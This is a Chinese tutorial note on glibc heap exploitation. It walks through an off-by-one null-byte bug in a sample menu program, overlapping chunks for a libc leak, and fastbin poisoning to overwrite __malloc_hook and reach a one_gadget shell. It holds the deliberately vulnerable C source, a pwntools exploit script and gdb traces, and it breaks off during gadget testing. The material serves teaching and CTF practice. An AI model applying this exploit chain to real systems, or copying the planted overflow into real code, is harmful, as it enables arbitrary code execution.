Off-By-One/Poison Nul Byte(笔记)


原文链接

Environment

基于栈的利用和基于堆的利用主要的区别:

栈逻辑(比如调用约定)是被编译到binary中的。无论系统使用的是哪个版本的libc,每一个pop,push或者是偏移(比如ebp+0x28)都是binary的一部分,并且不会被共享库所影响

堆逻辑依赖于使用的libc版本。软件开发者直接使用接口(如malloc,free)来获得堆,这个接口不会改变它取决于接口的具体实现。也就是说不同版本的libc的堆接口具体实现可能会不一样。对于软件开发者来说,只需要关注如何去使用,而并不需要知道libc如何管理堆内存,但是对于攻击者来说,这点是极其重要的。

一个漏洞利用比如本文的 off-by-noe 漏洞利用,通过修改堆的元数据完成攻击,这些元数据存储在堆中的额外数据用来在每一次申请和释放内存时追踪到合适的内存。一些通过修改这些元数据的攻击可能只在特定版本的libc中才起作用。这不仅受利用过程中使用的偏移影响还受整个攻击逻辑所依赖的libc中对申请或释放采用的对元数据安全检查的影响

Vulnerable Program

程序和通常ctf中堆利用的题目相似

nop@nop-pwn:~/Desktop$ ./heap
1. create
2. delete
3. print
4. exit
>

创建时必须输入内容和大小

> 1

using slot 0
size: 40
data: AAAAAAAAAAAAAAAAAAAAA
successfully created chunk

创建成功之后输出相应的内容,之后根据 slot的编号对相应内容块进行操作

打印对应块内容:

> 3
idx: 0

data: AAAAAAAAAAAAAAAAAAAAA

删除对应块:

> 2
idx: 0
successfully deleted chunk

程序源码:

/**
 *
 * heap.c
 *
 * sample program: heap off-by-one vulnerability
 *
 * gcc heap.c -pie -fPIE -Wl,-z,relro,-z,now -o heap
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define DELETE 1
#define PRINT 2

void create();
void process(unsigned int);

char *ptrs[10];

/**
 * main-loop: print menu, read choice, call create/delete/exit
 */
int main() {

  setvbuf(stdout, NULL, _IONBF, 0);

  while(1) {
    unsigned int choice;
    puts("1. create\n2. delete\n3. print\n4. exit");
    printf("> ");
    scanf("%u", &choice);

    switch(choice) {
      case 1: create(); break;
      case 2: process(DELETE); break;
      case 3: process(PRINT); break;
      case 4: exit(0); break;
      default: puts("invalid choice"); break;
    }
  }
}


/**
 * creates a new chunk.
 */
void create() {

  unsigned int i, size;
  unsigned int idx = 10;
  char buf[1024];

  for (i = 0; i < 10; i++) {
    if (ptrs[i] == NULL) {
      idx = i;
      break;
    }
  }
  if (idx == 10) {
    puts("no free slots\n");
    return;
  }

  printf("\nusing slot %u\n", idx);

  printf("size: ");
  scanf("%u", &size);
  if (size > 1023) {
    puts("maximum size (1023 bytes) exceeded\n");
    return;
  }

  printf("data: ");
  size = read(0, buf, size);
  buf[size] = 0x00; // null-byte-overflow

  ptrs[idx] = (char*)malloc(size);
  strcpy(ptrs[idx], buf);

  puts("successfully created chunk\n");
}


/**
 * deletes or prints an existing chunk.
 */
void process(unsigned int action) {

  unsigned int idx;
  printf("idx: ");
  scanf("%u", &idx);

  if (idx > 10) {
    puts("invalid index\n");
    return;
  }

  if (ptrs[idx] == NULL) {
    puts("chunk not existing\n");
    return;
  }

  if (action == DELETE) {
    free(ptrs[idx]);
    ptrs[idx] = NULL;
    puts("successfully deleted chunk\n");
  }
  else if (action == PRINT) {
    printf("\ndata: %s\n", ptrs[idx]);
  }
}

程序漏洞位于create函数中:

printf("data: ");
size = read(0, buf, size);
buf[size] = 0x00; // null-byte-overflow

ptrs[idx] = (char*)malloc(size);
strcpy(ptrs[idx], buf);

在调用read函数之后,直接使用size作为数组下标,这样以来即使用户输入1023个字符,最终写入到ptrs[idx]的会是1024个字符

Heap Basics

可以确定的是这个漏洞使我们可以通过null-byte造成堆溢出,假设程序运行在一个server上,这个null-byte可以产生一个远程代码执行(RCE)。在利用之前,简要回顾一下一些堆的基础知识

通过 malloc 申请一个 chunk:

char *ptr = malloc(0x88);

执行malloc之后,新申请的chunk会被存储到rax寄存器中:

[----------------------------------registers-----------------------------------]
RAX: 0x602010 --> 0x0
RBX: 0x0
RCX: 0x7ffff7dd1b20 --> 0x100000000
RDX: 0x602010 --> 0x0
RSI: 0x602090 --> 0x0
RDI: 0x7ffff7dd1b20 --> 0x100000000
RBP: 0x7fffffffe490 --> 0x4005d0 (<__libc_csu_init>:   push   r15)
RSP: 0x7fffffffe470 --> 0x4005d0 (<__libc_csu_init>:   push   r15)
RIP: 0x400578 (<main+18>: mov    QWORD PTR [rbp-0x10],rax)
R8 : 0x602000 --> 0x0
R9 : 0xd ('\r')
R10: 0x7ffff7dd1b78 --> 0x602090 --> 0x0
R11: 0x0
R12: 0x400470 (<_start>:  xor    ebp,ebp)
R13: 0x7fffffffe570 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40056a <main+4>: sub    rsp,0x20
   0x40056e <main+8>: mov    edi,0x88
   0x400573 <main+13>:    call   0x400450 <malloc@plt>
=> 0x400578 <main+18>: mov    QWORD PTR [rbp-0x10],rax
...

堆的元数据在每个chunk头部的前两个8 byte(32位机器为4 byte),并且malloc返回的地址是数据的地址即0x602010,也就是说整个chunk开始于0x602000:

Alt

其中,

  1. prev_size域包含前一个chunk的大小,如果它是空闲的;如果前一个块是被分配的,prev_size是不必要的并且可以被前一个chunk当作数据域使用。
  2. size+flags域包含当前chunk的大小(元数据+data),因为chunk的大小总是0x8字节对齐,size+flags的低3比特位通常是0并且被用来存储以下的标志信息:
    1. allocated arena(0x4)
    2. mmap(0x2)
    3. previous chunk in use(0x1)

我们的目的在三个标志信息即 previous chunk in use 标志,这个标志位决定前一个chunk的状态,free(flag=0)或allocated(flag=1)

接着创建另一个chunk:

char *ptr = malloc(0x88);
char *ptr2 = malloc(0x28);

第二次mallo之后:

Alt

当我们填充第一个chunk的所有0x88bytes:

char *ptr = malloc(0x88);
char *ptr2 = malloc(0x28);
for(int i = 0; i < 0x88 ; i++) ptr[i] = 'A';

我们可以可以看到第二个chunk的prev_size域被第一个chunk作为数据域使用了:

Alt

接着删除第一个chunk

char *ptr = malloc(0x88);
char *ptr2 = malloc(0x28);
for(int i = 0; i < 0x88 ; i++) ptr[i] = 'A';
free(ptr);

此时:

Alt

可以看到第二个cunk的prev_size域以及被设置为前一个chunk的大小,并且previous chunk in use 标志位被清零。被释放的chunk的数据域前16bytes包含了两个指针(FD和BK),这两个指针在一个叫bins的双链表中被用来存储所有的free chunks。有一个例外,存储在fastbins中的小chunk是单链表储存。可以发现,存储在FD和BK中的值是libc-address,因为此处只有一个 free chunk ,所以FD和BK被设置为指向链表的头和尾,而这个头和尾存储在libc中的 main_arena。我们可以在gdb中查看 main_arena:

gdb-peda$ p main_arena
$1 = {
  mutex = 0x0,
  flags = 0x1,
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
  top = 0x6020c0,
  last_remainder = 0x0,
  bins = {0x602000, 0x602000, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b88 <main_arena+104>,
    0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1ba8 <main_arena+136>,
    0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bb8 <main_arena+152>,
    0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bd8 <main_arena+184>,
...

需要注意的是,main arena还包括了一个叫 top的值,它指向heap的 “顶”

我们释放的chunk可以在bins中看到,bins中每个chunk链表包含一个头指针和尾指针。第一个头指针和尾指针都指向我们释放的位于0x602000的chunk

此外,FD还是malloc返回值指向的位置(0x10),因为元数据并不是实际的数据。存储在free chunk的FD、BK中的头指针和尾指针需要考虑这个偏移,BK和FD都是0x7ffff7dd1b78,也就是说实际的头指针位于 +0x10 = 0x7ffff7dd1b88,尾指针位于 +0x18 = 0x7ffff7dd1b90

gdb-peda$ x/xg 0x7ffff7dd1b78+0x10
0x7ffff7dd1b88 <main_arena+104>:        0x0000000000602000
gdb-peda$ x/xg 0x7ffff7dd1b78+0x18
0x7ffff7dd1b90 <main_arena+112>:        0x0000000000602000

此时,双链表中只包含了一个chunk

Alt

如果我们释放另一个相同大小的chunk(此例中,chunk存储在small bin中),第二个释放的chunk会被插入到双链表中:

Alt

每一个新插入的free chunk都会变成新的头chunk:

Alt

当我们申请同样大小的chunk时,会从链表的尾取出:

Alt

也就是说,smallbins 采用FIFO的策略:

Alt

前面提到过,小的chunk会被存储在称为fastbins的单链表中。如果我们释放第二个大小为0x28 bytes的chunk:

char *ptr = malloc(0x88);
char *pyr2 = malloc(0x28);
for(int i = 0; i < 0x88 ; i++) ptr[i] = 'A';
free(ptr);
free(ptr2);

查看堆内存:

Alt

实际上,没有什么改变,因为这个chunk存储在fastbins中。由于只有一个FD指针,并且没有其他相同大小的free chunk,这个FD指针会被置为0来表明单链表末尾。fastbin的头被存储在main_arena中:

gdb-peda$ p main_arena
$1 = {
  mutex = 0x0,
  flags = 0x0,
  fastbinsY = {0x0, 0x602090, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
  top = 0x6020c0,
  last_remainder = 0x0,
  bins = {0x602000, 0x602000, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b88 <main_arena+104>,
    0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1ba8 <main_arena+136>,
...

fastbinY中每个fastbin链表包含一个头指针,一共10个fastbins,分别存储着不同大小的chunks。此时只有一个chunk在第二个fastbin链表中:

Alt

如果我们释放另一个同样大小的chunk,这个chunk会被插入到这个单链表的头:

Alt

再释放时:

Alt

和smallbins不同的是,fastbin是从链表头取chunk:

Alt

也就是说,fastbin采用LIFO策略:

Alt

因为程序开启了ALSR,并且我们不知道任何libc-address,所以需要先泄露libc-address

Libc-Leak

前面说到,bins中头或尾的free chunk的FD和BK指针指向main_arena.如果程序存在一个Use After Free(UAF)漏洞,我们可以直接释放一个chunk然后打印它的data。因为前8bytes的数据是FD,我们可以直接获得libc-address。示例程序中没有UAF但是我们可以只溢出一个null-byte来泄露地址

达到和UAF一样的效果是通过 overlaping chunks。如果堆的元数据被破坏导致两个chunk重叠,我们就可以释放一个chunk然后利用另一个chunk来打印这些地址

首先可以确定的是我们可以利用单个null-byte溢出,回到前面申请了两个chunk时的图:

Alt

可以看到,当我们试chunk1溢出单个null-byte时,chunk2的size+flags域的低比特位会被覆写。这样的话0x31(chunk2的大小0x30,previous chunk in use flag (0x1))被设置成0x00,这可能会造成程序crash,因为堆的元数据不再有效(一个chunk的大小不可能为0x00)。但是如果chunk2的size变成0x100:

char *ptr = malloc(0x88);
char *pyr2 = malloc(0xf8);
for(int i = 0; i < 0x88 ; i++) ptr[i] = 'A';

Alt

现在我们试chunk1溢出,chunk2的大小不会被改变,唯一被改变的是 previous in use标志位(0x1->0x0),这就意味着我们可以再不破坏其他元数据的前提下置零标志位

previous in use的目的是合并相邻的free chunk变得可能,如果堆里面一个free chunk的临近chunk 如果堆中有两个相邻的空闲块,他们会被合并成一个大的空闲块,通过这种方式避免堆碎片的产生(如果是fastbin则不会合并)。当一个chunk是空闲的,libc会检查它的previous in use位是否被置位,如果没有,这个本来应该是空闲的块会和前一个空闲块合并。通过清空previous in use标志位,我们可以欺骗libc去将一个空闲块和一个实际被分配的chunk合并。

我们使用上面的示例,清空chunk2的previous chunk in use然后释放他,使libc将chunk1和chunk2合并,程序会直接crash。因为chunk1会被当成一个free chunk,也就是说chunk1的previous chunk in use 域应该包含一个有效值并且FD和BK指针应该被设置成适当的值

使用heap.c编译的程序完成bull-byte-overflow的利用,首先使用python脚本编写一些辅助函数:

#!/usr/bin/env python

from pwn import *

p = process('./heap')

def create(size, data):
  p.sendlineafter('>', str(1))
  p.sendlineafter('size: ', str(size))
  p.sendlineafter('data: ', data)

def delete(idx):
  p.sendlineafter('>', str(2))
  p.sendlineafter('idx: ', str(idx))

def printData(idx):
  p.sendlineafter('>', str(3))
  p.sendlineafter('idx: ', str(idx))
  p.recvuntil('data: ')
  ret = p.recvuntil('\n')
  return ret[:-1]

为了产生堆块重叠,我们先申请四个堆块:

create(0xf8, 'A'*0xf8) # chunk_AAA, idx = 0
create(0x68, 'B'*0x68) # chunk_BBB, idx = 1
create(0xf8, 'C'*0xf8) # chunk_CCC, idx = 2
create(0x10, 'D'*0x10) # chunk_DDD, idx = 3

此时的堆内存:

Alt

每个chunk都有不同的用处:

  1. chunk_AAA: 将被释放变成一个有效的free chunk
  2. chunk_BBB: 将被用于触发 off-by-one 漏洞覆写chunk_CCC的previous in use 位,同时我们也会设置chunk_CCC的prev_size为chunk_AAA + chunk_BBB。chunk_BBB将会是一个重叠的chunk
  3. chunk_CCC: previous in use标志位被清零,我们会释放这个chunk使其与chunk_AAA合并,得到的新chunk会和chunk_BBB重叠
  4. chunk_DDD: fastbin大小的chunk,用于防止释放的chunk与top chunk合并

首先释放chunk_AAA:

# chunk_AAA will be a valid free chunk (containing libc-addresses in FD/BK)
delete(0)

然后我们触发off-by-one漏洞溢出到chunk_BBB来清空它的previous in use位。因为chunk_BBB的size范围在fastbin中,所以他不会被合并而是放到对应的fastbin链表中。当我们重新申请一个相同大小的chunk时,会得到一个完全相同的位置

# leverage off-by-one vuln in chunk_BBB:
# overwrite prev_inuse bit of following chunk (chunk_CCC)
delete(1)
create(0x68, 'B'*0x68) # chunk_BBB, new idx = 0

在chunk_CCC的previous in use位被清零,我们还需要设置chunk_CCC的size域为 chunk_AAA + chunk_BBB(0x170)。不幸的是因为使用了strcpy,我们不能插入 null-byte到chunk的内容里面,但是可以通过单字节的null-byte逐一修改对应位为0(释放时上一次写入的数据不会变)

# set prev_size of following chunk (chunk_CCC) to 0x170
for i in range(0x66, 0x5f, -1):
  delete(0)
  create(i+2, 'B'*i + '\x70\x01') # chunk_BBB, new_idx = 0

比如执行create(0x64,'B'*0x62+'\x70\x01')时:

....
0x4242424242424242  0x4242424242424242
0x4242424242424242  0x4242424242424242 <-- chunk_BBB的data域
0x4444440001704242  0x0000000000000100 <-- chunk_CCC
        ^^
        null-byte
0x4343434343434343  0x4343434343434343

上述步骤完成之后:

Alt

现在我们释放chunk_CCC时,它便会和前面的chunk合并(0x170大小的chunk)

# now delete chunk_CCC to trigger consolidation with the fakechunk (0x170)
# after this we have got a big free chunk (0x270) overlapping with chunk_BBB
delete(2)

最终的结果时chunk_BBB产生重叠:

Alt

接着我们只需要申请一个和原chunk_AAA同样大小的chunk(0x100)来使大的free chunk和chunk_BBB对齐进而使FD和BK存储在chunk_BBB的开头:

# create a new chunk (chunk_EEE) within the big free chunk to push
# the libc-addresses (fd/bk) down to chunk_BBB
create(0xf6, 'E'*0xf6) # chunk_EEE, new_idx = 1

注意,这里使用0xf6而不是0xf8是为了防止 off-by-one漏洞

这个时候,大的空闲块的FD和BK指针和cunk_BBB对齐:

Alt

这个时候,我们只需要打印chunk_BBB(index 0):

# the content of chunk_BBB now contains fd/bk (libc-addresses)
# just print the chunk (idx = 0)
libc_offset    = 0x3c4b78
libc_leak = printData(0)
libc_leak = unpack(libc_leak + (8-len(libc_leak))*'\x00', 64)
libc_base = libc_leak - libc_offset
log.info('libc_base: ' + hex(libc_base))

libc_offset 可以通过gdb调试计算得到,在成功泄露libc base_address后,我们就可以计算任意我们感兴趣的地址。但是最重要的一步还没实现,即控制控制指令指针寄存器(rip)

Control Instruction Pointer

考虑如何控制指令指针时,栈逻辑和堆逻辑的利用之间有很大的区别。在栈上面传统的方法是覆写存储在栈上的函数的返回地址,而在堆利用中并没有返回地址可以覆盖。堆利用中可能是将更复杂的对象(结构/类)的函数指针存储在堆中,然后可以直接覆写这些指针来控制指令指针的情况。但是示例程序不是这种情况,相反的,在堆利用中采用常用的技术:

  1. 利用漏洞将一个我们选择的地址作为空闲块插入到bins或fastbin
  2. 申请一个合适大小的chunk,堆管理器便会返回我们插入的地址 + 0x10
  3. 写入数据到申请的chunk,数据最终写入到插入的地址 + 0x10

尽管仍旧有一些约束,但是这种方式可以达到任意地址写的目的。这里我们使用fastbin,而且最终只需要覆写某些函数指针并不用写入大量数据,因此fastbin的大小就足够了。此外,fastbin只使用FD指针,这会让这个过程更容易

首先,我们需要确定如何插入一个地址到fastbin。我们知道的是fastbin是一个单链表而链表的头指针存储在main_arena中。这个头指针指向链表的第一个free chunk,第二个free chunk的地址存储在第一个的FD指针中,以此类推。如果我们可以覆写某个free chunk的FD指针,我们就可以直接向fastbin中插入一个free fakechunk:

Alt

下一次申请时,位于链首的free chunk会被返回:

Alt

接着伪造的chunk变成的新的链首chunk,并且下次申请时会被返回:

Alt

因为我们已经有了两个重叠的chunk,所以可以利用它来覆写一个fastbin chunk的FD指针。首先,在泄露libc之后我们需要清空一些数据:

# restore the size field (0x70) of chunk_BBB
# delete(1)
# create(0xf9,'E'*0xf8+'\x70')
for i in range(0xfd, 0xf7, -1):
  delete(1)
  create(i+1, 'E'*i + '\x70') # chunk_EEE, new_idx = 1

# free chunk_BBB: the address of the chunk is added to the fastbin-list
delete(0)

# free chunk_EEE
delete(1)

我们置零了 chunk_BBB的size+flags域,并且释放了chun_BBB和hcunk_EEE,现在堆的布局如下:

Alt

此时,main arena包含了释放的chunk_BBB的地址(0x604110):

gdb-peda$ p main_arena
$1 = {
  mutex = 0x0,
  flags = 0x0,
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x604110, 0x0, 0x0, 0x0, 0x0},
  top = 0x6042a0,
  last_remainder = 0x604120,
    0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1ba8 <main_arena+136>,
    0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bb8 <main_arena+152>,
...

也就是说fastbin的情况如下:

Alt

现在我们可以直接申请一个大的free chunk来覆写这chunk_BBB的FD指针域:

# create another new chunk (chunk_FFF) within the big free chunk which
# will set the fd of the free'd fastbin chunk_BBB to the value of foo
foo = 0xdeadbeef
create(0x108, 'F'*0x100 + p64(foo)) # new_idx = 0

此时FD指针已被覆写成我们选择的地址:

Alt

但是这时候fastbin的情况如下:

Alt

libc会不断的以其他安全检查的方式防范攻击,这种情况下malloc会检查0xdeadbeef 是否包含一个有效的适当大小的free chunk。因为chunk_BBB的大小为0x70,所以fake chunk的大小也必须为0x70,但是size+flags域的低4比特位的数据是未使用的,也就就是说其值可以是0x70~0x7f这个范围。因此,0xdeadbeef的数据布局应该是:

Alt

幸运的是libc中包含一个满足要求的位置:一个四字(8byte)的值为0x0x000000000000007f可以被用来当作 size+flags字段,这之后的函数指针可以被覆写并触发以控制指令指针

换句话说这个函数指针就是 __malloc_hook,当__malloc_hook包含一个不为null的值时,并且这个值应当是一个函数指针。在每一次调用 malloc 的时候,都会调用 __malloc_hook引用的函数即函数指针指向的函数。默认情况下这个指针为null:

gdb-peda$ x/xg &__malloc_hook
0x7ffff7dd1b10 <__malloc_hook>:   0x0000000000000000

综上所述,我们可以在 __malloc_hook 前面的几个字节中找一个包含值0x000000000000007f的四字:

Alt

现在,我们只需要计算偏移…

gdb-peda$ i proc mappings
process 8818
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x401000     0x1000        0x0 /home/xerus/pwn/heap/dev/heap
            0x601000           0x602000     0x1000     0x1000 /home/xerus/pwn/heap/dev/heap
            0x602000           0x603000     0x1000     0x2000 /home/xerus/pwn/heap/dev/heap
            0x603000           0x625000    0x22000        0x0 [heap]
      0x7ffff7a0d000     0x7ffff7bcd000   0x1c0000        0x0 /lib/x86_64-linux-gnu/libc-2.23.so
...
gdb-peda$ p 0x7ffff7dd1aed - 0x7ffff7a0d000
$1 = 0x3c4aed

使用前面泄露的libc地址来覆写chunk_BBB的FD指针:

# create another new chunk (chunk_FFF) within the big free chunk which
# will set the fd of the free'd fastbin chunk_BBB to the address of hook
hook_offset = 0x3c4aed
hook        = libc_base + hook_offset
create(0x108, 'F'*0x100 + p64(hook)) # new_idx = 0

此时,FD指针已经被设置为 0x7ffff7dd1aed了:

Alt

接着我们需要再一次清零chunk_BBB的size+flags域:

# restore the size field (0x70) of the free'd chunk_BBB
# delete(0)
# create(0xf9,'F'*0xf8+'\x70')
# pause()
for i in range(0xfe, 0xf7, -1):
  delete(0)
  create(i+8, 'F'*i + p64(0x70)) # new_idx = 0

之后,再申请堆块:

# now recreate chunk_BBB
# -> this will add the address in fd (hook) to the fastbin-list
create(0x68, 'B'*0x68)

我们的申请chunk_BBB的大小,当free chunk从fastbin取出时,libc会检查这个free chunk的FD指针是否包含另一个freee chunk,这就是我们要覆写FD指针的原因。现在我们写入的地址变成了fastbin链表的新链首:

gdb-peda$ p main_arena
$1 = {
  mutex = 0x0,
  flags = 0x0,
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x7ffff7dd1aed <_IO_wide_data_0+301>, 0x0, 0x0, 0x0, 0x0},
  top = 0x6042a0,
  last_remainder = 0x604120,
  bins = {0x604120, 0x604120, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b98 <main_arena+120>,
    0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1bb8 <main_arena+152>,
    0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bd8 <main_arena+184>,
...

下一次申请相同大小的堆块时就会返回这个 0x7ffff7dd1aed + 0x10,再偏移0x13处存储了__malloc_hook。如果我们放置一个地址在这里,然后执行一次内存请求(malloc),我们放置的地址就会被当成函数执行:

# the next allocation with a size equal to chunk_BBB (0x70 = fastbin)
# will return the address of hook from the fastbin-list
foo = 0xb00bb00b
create(0x68, 0x13*'G'+p64(foo)+0x4d*'G')

之后验证 __malloc_hook是否被修改:

gdb-peda$ x/xg &__malloc_hook
0x7ffff7dd1b10 <__malloc_hook>:   0x00000000b00bb00b

现在,我们可以通过任意的内存申请触发这个hook:

# since __malloc_hook is set now, the next call to malloc will
# call the address stored there (foo)
create(0x20, 'trigger __malloc_hook')

程序发生段错误并且成功控制了指令指针:

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0xb00bb00b
RBX: 0x0
RCX: 0x7ffff7b04260 (<__read_nocancel+7>: cmp    rax,0xfffffffffffff001)
RDX: 0x20 (' ')
RSI: 0x400a3c (<create+316>:  mov    rcx,rax)
RDI: 0x10
RBP: 0x7fffffffe4b0 --> 0x7fffffffe4d0 --> 0x400bd0 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffe088 --> 0x400a3c (<create+316>:    mov    rcx,rax)
RIP: 0xb00bb00b
R8 : 0x7ffff7fdc700 (0x00007ffff7fdc700)
R9 : 0x6
R10: 0x7ffff7b845e0 --> 0x2000200020002
R11: 0x246
R12: 0x400740 (<_start>:  xor    ebp,ebp)
R13: 0x7fffffffe5b0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xb00bb00b
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe088 --> 0x400a3c (<create+316>:   mov    rcx,rax)
0008| 0x7fffffffe090 --> 0x10f7fdd000
0016| 0x7fffffffe098 --> 0x400000004
0024| 0x7fffffffe0a0 ("trigger exploit\n")
0032| 0x7fffffffe0a8 ("exploit\n")
0040| 0x7fffffffe0b0 --> 0xb00bb00b474700
0048| 0x7fffffffe0b8 --> 0x4747474747000000 ('')
0056| 0x7fffffffe0c0 ('G' <repeats 72 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000b00bb00b in ?? ()

One Gadget

在成功泄露libc以及控制指令指针之后,我们的利用基本就基本结束了。最后只需要拿到shell

注意到gdb输出了段错误,我们也控制了一部分栈,因为我们输入的数据存储在栈上。结合一个 pivoting gadget和其他的gadgets我们可以执行system或者系统调用来执行execve。不过这里使用更方便的One Gadget tool,通过这个工具直接找到一个执行execve('/bin/sh',NULL,NULL)的偏移。

当然,得到的结果里面会有一些条件,必须满足这些条件才能成功拿到shell。

我们可以简单的测试这些one gagdet,然后设置断点查看是否满足条件:

oneshot_offset = 0x45216
#oneshot_offset = 0x4526a
#oneshot_offset = 0xf02a4
#oneshot_offset = 0xf1147

# the next allocation with a size equal to chunk_BBB (0x70 = fastbin)
# will return the address of hook from the fastbin-list
# --> store the address of oneshot in __malloc_hook
oneshot = libc_base + oneshot_offset
create(0x68, 0x13*'G'+p64(oneshot)+0x4d*'G')

# since __malloc_hook is set now, the next call to malloc will
# call the address stored there (oneshot)
create(0x20, 'trigger exploit')

尝试第一个one gadet(约束为 rax == NULL):

gdb-peda$ b *(0x7ffff7a0d000 + 0x45216)
Haltepunkt 1 at 0x7ffff7a52216: file ../sysdeps/posix/system.c, line 130.
gdb-peda$ c
Continuing.

[----------------------------------registers-----------------------------------]
RAX: 0x7ffff7a52216 (<do_system+1014>:    lea    rsi,[rip+0x381343]        # 0x7ffff7dd3560 <intr>)
RBX: 0x0
RCX: 0x7ffff7b04260 (<__read_nocancel+7>: cmp    rax,0xfffffffffffff001)
RDX: 0x20 (' ')
RSI: 0x400a3c (<create+316>:  mov    rcx,rax)
RDI: 0x10
RBP: 0x7fffffffe4b0 --> 0x7fffffffe4d0 --> 0x400bd0 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffe088 --> 0x400a3c (<create+316>:    mov    rcx,rax)
RIP: 0x7ffff7a52216 (<do_system+1014>:    lea    rsi,[rip+0x381343]        # 0x7ffff7dd3560 <intr>)
R8 : 0x7ffff7fdc700 (0x00007ffff7fdc700)
R9 : 0x6
R10: 0x7ffff7b845e0 --> 0x2000200020002
R11: 0x246
R12: 0x400740 (<_start>:  xor    ebp,ebp)
R13: 0x7fffffffe5b0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7a52205 <do_system+997>:    call   0x7ffff7a426f0 <__GI___sigaction>
   0x7ffff7a5220a <do_system+1002>:   jmp    0x7ffff7a52189 <do_system+873>
   0x7ffff7a5220f <do_system+1007>:   lea    rax,[rip+0x147b46]        # 0x7ffff7b99d5c
=> 0x7ffff7a52216 <do_system+1014>:    lea    rsi,[rip+0x381343]        # 0x7ffff7dd3560 <intr>
   0x7ffff7a5221d <do_system+1021>:   xor    edx,edx
   0x7ffff7a5221f <do_system+1023>:   mov    edi,0x2
   0x7ffff7a52224 <do_system+1028>:   mov    QWORD PTR [rsp+0x40],rbx
   0x7ffff7a52229 <do_system+1033>:   mov    QWORD PTR [rsp+0x48],0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe088 --> 0x400a3c (<create+316>:   mov    rcx,rax)
0008| 0x7fffffffe090 --> 0x10f7fdd000
0016| 0x7fffffffe098 --> 0x400000004
0024| 0x7fffffffe0a0 ("trigger exploit\n")
0032| 0x7fffffffe0a8 ("exploit\n")
0040| 0x7fffffffe0b0 --> 0xfff7a52216474700
0048| 0x7fffffffe0b8 --> 0x474747474700007f
0056| 0x7fffffffe0c0 ('G' <repeats 72 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, do_system (line=0x0) at ../sysdeps/posix/system.c:130
130 ../sysdeps/posix/system.c: Datei oder Verzeichnis nicht gefunden.

RAX的值是 0x7ffff7a52216, 所以这个one gadget不能成功。

接着测试下一个(条件为 [rsp+0x30] == NULL:

#oneshot_offset = 0x45216
oneshot_offset = 0x4526a
#oneshot_offset = 0xf02a4
#oneshot_offset = 0xf1147
...
gdb-peda$ b *(0x7ffff7a0d000 + 0x4526a)
Haltepunkt 1 at 0x7ffff7a5226a: file ../sysdeps/posix/system.c, line 136.
gdb-peda$ c
Continuing.

[----------------------------------registers-----------------------------------]
RAX: 0x7ffff7a5226a (<do_system+1098>:    mov    rax,QWORD PTR [rip+0x37ec47]        # 0x7ffff7dd0eb8)
RBX: 0x0
RCX: 0x7ffff7b04260 (<__read_nocancel+7>: cmp    rax,0xfffffffffffff001)
RDX: 0x20 (' ')
RSI: 0x400a3c (<create+316>:  mov    rcx,rax)
RDI: 0x10
RBP: 0x7fffffffe4b0 --> 0x7fffffffe4d0 --> 0x400bd0 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffe088 --> 0x400a3c (<create+316>:    mov    rcx,rax)
RIP: 0x7ffff7a5226a (<do_system+1098>:    mov    rax,QWORD PTR [rip+0x37ec47]        # 0x7ffff7dd0eb8)
R8 : 0x7ffff7fdc700 (0x00007ffff7fdc700)
R9 : 0x6
R10: 0x7ffff7b845e0 --> 0x2000200020002
R11: 0x246
R12: 0x400740 (<_start>:  xor    ebp,ebp)
R13: 0x7fffffffe5b0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7a5225d <do_system+1085>:   mov    rsi,r12
   0x7ffff7a52260 <do_system+1088>:   mov    edi,0x2
   0x7ffff7a52265 <do_system+1093>:   call   0x7ffff7a42720 <__sigprocmask>
=> 0x7ffff7a5226a <do_system+1098>:    mov    rax,QWORD PTR [rip+0x37ec47]        # 0x7ffff7dd0eb8
